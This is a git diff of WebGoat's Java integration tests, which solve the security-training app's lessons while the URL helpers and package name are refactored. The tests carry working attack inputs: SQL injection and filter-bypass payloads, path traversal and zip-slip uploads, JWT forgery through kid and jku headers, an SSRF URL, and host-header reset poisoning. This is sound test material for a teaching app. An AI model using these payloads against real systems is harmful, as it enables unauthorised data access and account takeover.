.formParam("password", "password")
.post(webWolfUrl("login"))
.post(webWolfUrlConfig.url("login"))
.then()
.statusCode(302)
.cookie("WEBWOLFSESSION")
@ -102,7 +93,12 @@ public abstract class IntegrationTest {
@AfterEach
public void logout() {
RestAssured.given().when().relaxedHTTPSValidation().get(url("logout")).then().statusCode(200);
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.get(webGoatUrlConfig.url("logout"))
.then()
.statusCode(200);
}
public void startLesson(String lessonName) {
@ -114,7 +110,7 @@ public abstract class IntegrationTest {
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url(lessonName + ".lesson.lesson"))
.get(webGoatUrlConfig.url(lessonName + ".lesson.lesson"))
.then()
.statusCode(200);
@ -123,7 +119,7 @@ public abstract class IntegrationTest {
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/restartlesson.mvc"))
.get(webGoatUrlConfig.url("service/restartlesson.mvc/%s.lesson".formatted(lessonName)))
.then()
.statusCode(200);
}
@ -159,23 +155,18 @@ public abstract class IntegrationTest {
CoreMatchers.is(expectedResult));
}
// TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are
// only required to be in the same package)
public void checkResults(String prefix) {
checkResults();
MatcherAssert.assertThat(
public void checkResults(String lesson) {
var result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.getList("assignment.path"),
CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
.get(webGoatUrlConfig.url("service/lessonoverview.mvc/%s.lesson".formatted(lesson)))
.andReturn();
MatcherAssert.assertThat(
result.then().statusCode(200).extract().jsonPath().getList("solved"),
CoreMatchers.everyItem(CoreMatchers.is(true)));
}
public void checkResults() {
@ -184,7 +175,7 @@ public abstract class IntegrationTest {
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc"))
.get(webGoatUrlConfig.url("service/lessonoverview.mvc"))
.andReturn();
MatcherAssert.assertThat(
@ -230,7 +221,7 @@ public abstract class IntegrationTest {
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/file-server-location"))
.get(webWolfUrlConfig.url("file-server-location"))
.then()
.extract()
.response()
@ -245,11 +236,21 @@ public abstract class IntegrationTest {
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/server-directory"))
.get(webGoatUrlConfig.url("server-directory"))
.then()
.extract()
.response()
.getBody()
.asString();
}
public void cleanMailbox() {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.delete(webWolfUrlConfig.url("mail"))
.then()
.statusCode(HttpStatus.ACCEPTED.value());
}
}

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat;
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
@ -13,8 +17,10 @@ import io.jsonwebtoken.impl.TextCodec;
import io.restassured.RestAssured;
import java.io.IOException;
import java.nio.charset.Charset;
import java.security.InvalidKeyException;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.NoSuchAlgorithmException;
import java.security.interfaces.RSAPublicKey;
import java.time.Instant;
import java.util.Base64;
import java.util.Calendar;
@ -23,13 +29,15 @@ import java.util.HashMap;
import java.util.Map;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.jose4j.jwk.JsonWebKeySet;
import org.jose4j.jwk.RsaJsonWebKey;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
public class JWTLessonIntegrationTest extends IntegrationTest {
@Test
public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
public void solveAssignment() throws IOException, NoSuchAlgorithmException {
startLesson("JWT");
decodingToken();
@ -40,15 +48,16 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
buyAsTom();
deleteTom();
deleteTomThroughKidClaim();
deleteTomThroughJkuClaim();
quiz();
checkResults("/JWT/");
checkResults("JWT");
}
private String generateToken(String key) {
return Jwts.builder()
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
@ -81,7 +90,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("jwt-encode-user", "user")
.post(url("/WebGoat/JWT/decode"))
.post(webGoatUrlConfig.url("JWT/decode"))
.then()
.statusCode(200)
.extract()
@ -89,14 +98,14 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
CoreMatchers.is(true));
}
private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
private void findPassword() {
String accessToken =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/secret/gettoken"))
.get(webGoatUrlConfig.url("JWT/secret/gettoken"))
.then()
.extract()
.response()
@ -110,7 +119,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("token", generateToken(secret))
.post(url("/WebGoat/JWT/secret"))
.post(webGoatUrlConfig.url("JWT/secret"))
.then()
.statusCode(200)
.extract()
@ -124,7 +133,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/votings/login?user=Tom"))
.get(webGoatUrlConfig.url("JWT/votings/login?user=Tom"))
.then()
.extract()
.cookie("access_token");
@ -157,7 +166,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("access_token", replacedToken)
.post(url("/WebGoat/JWT/votings"))
.post(webGoatUrlConfig.url("JWT/votings"))
.then()
.statusCode(200)
.extract()
@ -198,7 +207,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Authorization", "Bearer " + replacedToken)
.post(url("/WebGoat/JWT/refresh/checkout"))
.post(webGoatUrlConfig.url("JWT/refresh/checkout"))
.then()
.statusCode(200)
.extract()
@ -206,8 +215,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
CoreMatchers.is(true));
}
private void deleteTom() {
private void deleteTomThroughKidClaim() {
Map<String, Object> header = new HashMap();
header.put(Header.TYPE, Header.JWT_TYPE);
header.put(
@ -232,7 +240,56 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.post(url("/WebGoat/JWT/final/delete?token=" + token))
.post(webGoatUrlConfig.url("JWT/kid/delete?token=" + token))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void deleteTomThroughJkuClaim() throws NoSuchAlgorithmException {
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
keyPairGenerator.initialize(2048);
KeyPair keyPair = keyPairGenerator.generateKeyPair();
var jwks = new JsonWebKeySet(new RsaJsonWebKey((RSAPublicKey) keyPair.getPublic()));
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "jwks.json", jwks.toJson().getBytes())
.post(webWolfUrlConfig.url("fileupload"))
.then()
.extract()
.response()
.getBody()
.asString();
Map<String, Object> header = new HashMap();
header.put(Header.TYPE, Header.JWT_TYPE);
header.put(
JwsHeader.JWK_SET_URL, webWolfUrlConfig.url("files/%s/jwks.json".formatted(getUser())));
String token =
Jwts.builder()
.setHeader(header)
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "Tom")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.RS256, keyPair.getPrivate())
.compact();
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.post(webGoatUrlConfig.url("JWT/jku/delete?token=" + token))
.then()
.statusCode(200)
.extract()
@ -245,6 +302,6 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
params.put("question_0_solution", "Solution 1");
params.put("question_1_solution", "Solution 2");
checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
checkAssignment(webGoatUrlConfig.url("JWT/quiz"), params, true);
}
}

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat;
/*
* SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
@ -17,14 +21,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
@Test
public void testSingleLabel() {
Assertions.assertTrue(true);
JsonPath jsonPath =
JsonPath jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc"))
.get(webGoatUrlConfig.url("service/labels.mvc"))
.then()
.statusCode(200)
.extract()
@ -35,14 +39,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
// check if lang parameter overrules Accept-Language parameter
jsonPath =
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=nl"))
.get(webGoatUrlConfig.url("service/labels.mvc?lang=nl"))
.then()
.statusCode(200)
.extract()
@ -51,14 +55,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
"Gebruikersnaam",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
jsonPath =
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=de"))
.get(webGoatUrlConfig.url("service/labels.mvc?lang=de"))
.then()
.statusCode(200)
.extract()
@ -68,14 +72,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english
jsonPath =
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "nl")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=xx"))
.get(webGoatUrlConfig.url("service/labels.mvc?lang=xx"))
.then()
.statusCode(200)
.extract()
@ -84,14 +88,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english
jsonPath =
jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", "xx_YY")
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc"))
.get(webGoatUrlConfig.url("service/labels.mvc"))
.then()
.statusCode(200)
.extract()
@ -151,7 +155,6 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
checkLang(propsDefault, "nl");
checkLang(propsDefault, "de");
checkLang(propsDefault, "fr");
checkLang(propsDefault, "ru");
}
private Properties getProperties(String lang) {
@ -197,14 +200,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
}
private JsonPath getLabels(String lang) {
return RestAssured.given()
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", lang)
.cookie("JSESSIONID", getWebGoatCookie())
// .log().headers()
.get(url("service/labels.mvc"))
.get(webGoatUrlConfig.url("service/labels.mvc"))
.then()
// .log().all()
.statusCode(200)
@ -213,13 +216,13 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
}
private List<String> getHints() {
JsonPath jsonPath =
JsonPath jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/hint.mvc"))
.get(webGoatUrlConfig.url("service/hint.mvc"))
.then()
// .log().all()
.statusCode(200)

View File

@ -1,24 +1,27 @@
package org.owasp.webgoat;
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import java.util.Arrays;
import java.util.Map;
import lombok.SneakyThrows;
import org.apache.commons.lang3.StringUtils;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.springframework.http.HttpHeaders;
public class PasswordResetLessonIntegrationTest extends IntegrationTest {
@BeforeEach
@SneakyThrows
public void init() {
startLesson("/PasswordReset");
startLesson("PasswordReset");
}
@TestFactory
@ -32,12 +35,12 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
}
public void assignment2() {
checkAssignment(
url("PasswordReset/simple-mail/reset"),
checkAssignment(
webGoatUrlConfig.url("PasswordReset/simple-mail/reset"),
Map.of("emailReset", this.getUser() + "@webgoat.org"),
false);
checkAssignment(
url("PasswordReset/simple-mail"),
checkAssignment(
webGoatUrlConfig.url("PasswordReset/simple-mail"),
Map.of(
"email",
this.getUser() + "@webgoat.org",
@ -47,19 +50,19 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
}
public void assignment4() {
checkAssignment(
url("PasswordReset/questions"),
checkAssignment(
webGoatUrlConfig.url("PasswordReset/questions"),
Map.of("username", "tom", "securityQuestion", "purple"),
true);
}
public void assignment5() {
checkAssignment(
url("PasswordReset/SecurityQuestions"),
checkAssignment(
webGoatUrlConfig.url("PasswordReset/SecurityQuestions"),
Map.of("question", "What is your favorite animal?"),
false);
checkAssignment(
url("PasswordReset/SecurityQuestions"),
checkAssignment(
webGoatUrlConfig.url("PasswordReset/SecurityQuestions"),
Map.of("question", "What is your favorite color?"),
true);
}
@ -70,11 +73,10 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
// WebWolf
var link = getPasswordResetLinkFromLandingPage();
// WebGoat
changePassword(link);
checkAssignment(
url("PasswordReset/reset/login"),
checkAssignment(
webGoatUrlConfig.url("PasswordReset/reset/login"),
Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
true);
}
@ -87,7 +89,7 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/mail"))
.get(webWolfUrlConfig.url("mail"))
.then()
.extract()
.response()
@ -101,16 +103,16 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
public void shutdown() {
// this will run only once after the list of dynamic tests has run, this is to test if the
// lesson is marked complete
checkResults("/PasswordReset");
checkResults("PasswordReset");
}
private void changePassword(String link) {
RestAssured.given()
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("resetLink", link, "password", "123456")
.post(url("PasswordReset/reset/change-password"))
.post(webGoatUrlConfig.url("PasswordReset/reset/change-password"))
.then()
.statusCode(200);
}
@ -121,7 +123,7 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests"))
.get(webWolfUrlConfig.url("requests"))
.then()
.extract()
.response()
@ -136,13 +138,13 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
}
private void clickForgotEmailLink(String user) {
RestAssured.given()
RestAssured.given()
.when()
.header("host", String.format("%s:%s", "localhost", getWebWolfPort()))
.header(HttpHeaders.HOST, String.format("%s:%s", "127.0.0.1", webWolfUrlConfig.port()))
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", user)
.post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
.post(webGoatUrlConfig.url("PasswordReset/ForgotPassword/create-password-reset-link"))
.then()
.statusCode(200);
}

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat;
/*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
@ -48,14 +52,14 @@ class PathTraversalIT extends IntegrationTest {
}
private void assignment1() throws IOException {
MatcherAssert.assertThat(
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullName", "../John Doe")
.post(url("/WebGoat/PathTraversal/profile-upload"))
.post(webGoatUrlConfig.url("PathTraversal/profile-upload"))
.then()
.statusCode(200)
.extract()
@ -64,14 +68,14 @@ class PathTraversalIT extends IntegrationTest {
}
private void assignment2() throws IOException {
MatcherAssert.assertThat(
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullNameFix", "..././John Doe")
.post(url("/WebGoat/PathTraversal/profile-upload-fix"))
.post(webGoatUrlConfig.url("PathTraversal/profile-upload-fix"))
.then()
.statusCode(200)
.extract()
@ -80,7 +84,7 @@ class PathTraversalIT extends IntegrationTest {
}
private void assignment3() throws IOException {
MatcherAssert.assertThat(
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
@ -89,7 +93,7 @@ class PathTraversalIT extends IntegrationTest {
"uploadedFileRemoveUserInput",
"../test.jpg",
Files.readAllBytes(fileToUpload.toPath()))
.post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
.post(webGoatUrlConfig.url("PathTraversal/profile-upload-remove-user-input"))
.then()
.statusCode(200)
.extract()
@ -98,19 +102,19 @@ class PathTraversalIT extends IntegrationTest {
}
private void assignment4() throws IOException {
var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
RestAssured.given()
var uri = "PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
RestAssured.given()
.urlEncodingEnabled(false)
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url(uri))
.get(webGoatUrlConfig.url(uri))
.then()
.statusCode(200)
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
checkAssignment(
url("/WebGoat/PathTraversal/random"),
checkAssignment(
webGoatUrlConfig.url("PathTraversal/random"),
Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
true);
}
@ -127,14 +131,16 @@ class PathTraversalIT extends IntegrationTest {
zos.putNextEntry(e);
zos.write("test".getBytes(StandardCharsets.UTF_8));
}
MatcherAssert.assertThat(
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
.post(url("/WebGoat/PathTraversal/zip-slip"))
.post(webGoatUrlConfig.url("PathTraversal/zip-slip"))
.then()
.log()
.all()
.statusCode(200)
.extract()
.path("lessonCompleted"),
@ -145,6 +151,6 @@ class PathTraversalIT extends IntegrationTest {
void shutdown() {
// this will run only once after the list of dynamic tests has run, this is to test if the
// lesson is marked complete
checkResults("/PathTraversal");
checkResults("PathTraversal");
}
}

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat;
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.response.Response;
@ -24,14 +28,14 @@ public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
Callable<Response> call =
() -> {
// System.out.println("thread "+Thread.currentThread().getName());
return RestAssured.given()
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(Map.of("flag", "test"))
.post(url("/challenge/flag/"));
.post(webGoatUrlConfig.url("challenge/flag/1"));
};
ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
ExecutorService executorService = Executors.newFixedThreadPool(NUMBER_OF_PARALLEL_THREADS);
List<? extends Callable<Response>> flagCalls =
IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
var responses = executorService.invokeAll(flagCalls);

View File

@ -1,6 +1,9 @@
package org.owasp.webgoat;
/*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
@ -8,19 +11,19 @@ import org.junit.jupiter.api.Test;
public class SSRFIntegrationTest extends IntegrationTest {
@Test
public void runTests() throws IOException {
public void runTests() {
startLesson("SSRF");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("url", "images/jerry.png");
checkAssignment(url("/WebGoat/SSRF/task1"), params, true);
checkAssignment(webGoatUrlConfig.url("SSRF/task1"), params, true);
params.clear();
params.put("url", "http://ifconfig.pro");
checkAssignment(url("/WebGoat/SSRF/task2"), params, true);
checkAssignment(webGoatUrlConfig.url("SSRF/task2"), params, true);
checkResults("/SSRF/");
checkResults("SSRF");
}
}

View File

@ -0,0 +1,23 @@
/*
* SPDX-FileCopyrightText: Copyright © 2014 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.Map;
import org.junit.jupiter.api.Test;
class SessionManagementIT extends IntegrationTest {
private static final String HIJACK_LOGIN_CONTEXT_PATH = "HijackSession/login";
@Test
void hijackSessionTest() {
startLesson("HijackSession");
checkAssignment(
webGoatUrlConfig.url(HIJACK_LOGIN_CONTEXT_PATH),
Map.of("username", "webgoat", "password", "webgoat"),
false);
}
}

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat;
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.HashMap;
import java.util.Map;
@ -11,32 +15,31 @@ public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
startLesson("SqlInjectionAdvanced");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username_reg", "tom' AND substring(password,1,1)='t");
params.put("password_reg", "password");
params.put("email_reg", "someone@microsoft.com");
params.put("confirm_password", "password");
checkAssignmentWithPUT(url("/WebGoat/SqlInjectionAdvanced/challenge"), params, true);
checkAssignmentWithPUT(webGoatUrlConfig.url("SqlInjectionAdvanced/register"), params, false);
params.clear();
params.put("username_login", "tom");
params.put("password_login", "thisisasecretfortomonly");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/challenge_Login"), params, true);
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/login"), params, true);
params.clear();
params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6a"), params, true);
params.clear();
params.put(
"userid_6a",
"Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
+ " user_system_data --");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6a"), params, true);
params.clear();
params.put("userid_6b", "passW0rD");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6b"), params, true);
params.clear();
params.put(
@ -54,8 +57,6 @@ public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
params.put(
"question_4_solution",
"Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
checkResults("/SqlInjectionAdvanced/");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/quiz"), params, true);
}
}

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat;
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.HashMap;
import java.util.Map;
@ -34,45 +38,45 @@ public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("query", sql_2);
checkAssignment(url("/WebGoat/SqlInjection/attack2"), params, true);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack2"), params, true);
params.clear();
params.put("query", sql_3);
checkAssignment(url("/WebGoat/SqlInjection/attack3"), params, true);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack3"), params, true);
params.clear();
params.put("query", sql_4_add);
checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack4"), params, true);
params.clear();
params.put("query", sql_5);
checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack5"), params, true);
params.clear();
params.put("operator", sql_9_operator);
params.put("account", sql_9_account);
params.put("injection", sql_9_injection);
checkAssignment(url("/WebGoat/SqlInjection/assignment5a"), params, true);
checkAssignment(webGoatUrlConfig.url("SqlInjection/assignment5a"), params, true);
params.clear();
params.put("login_count", sql_10_login_count);
params.put("userid", sql_10_userid);
checkAssignment(url("/WebGoat/SqlInjection/assignment5b"), params, true);
checkAssignment(webGoatUrlConfig.url("SqlInjection/assignment5b"), params, true);
params.clear();
params.put("name", sql_11_a);
params.put("auth_tan", sql_11_b);
checkAssignment(url("/WebGoat/SqlInjection/attack8"), params, true);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack8"), params, true);
params.clear();
params.put("name", sql_12_a);
params.put("auth_tan", sql_12_b);
checkAssignment(url("/WebGoat/SqlInjection/attack9"), params, true);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack9"), params, true);
params.clear();
params.put("action_string", sql_13);
checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack10"), params, true);
checkResults("/SqlInjection/");
checkResults("SqlInjection");
}
}

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat;
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.hamcrest.CoreMatchers.containsString;
@ -23,7 +27,7 @@ public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
params.put("field5", "?");
params.put("field6", "prep.setString(1,\"\")");
params.put("field7", "prep.setString(2,\\\"\\\")");
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack10a"), params, true);
params.put(
"editor",
@ -37,37 +41,36 @@ public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
+ "} catch (Exception e) {\r\n"
+ " System.out.println(\"Oops. Something went wrong!\");\r\n"
+ "}");
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack10b"), params, true);
params.clear();
params.put(
"userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
checkAssignment(webGoatUrlConfig.url("SqlOnlyInputValidation/attack"), params, true);
params.clear();
params.put(
"userid_sql_only_input_validation_on_keywords",
"Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
checkAssignment(webGoatUrlConfig.url("SqlOnlyInputValidationOnKeywords/attack"), params, true);
RestAssured.given()
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(
url(
"/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname"
+ " else id end)"))
webGoatUrlConfig.url("SqlInjectionMitigations/servers?column=(case when (true) then hostname"
+ " else id end)"))
.then()
.statusCode(200);
RestAssured.given()
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
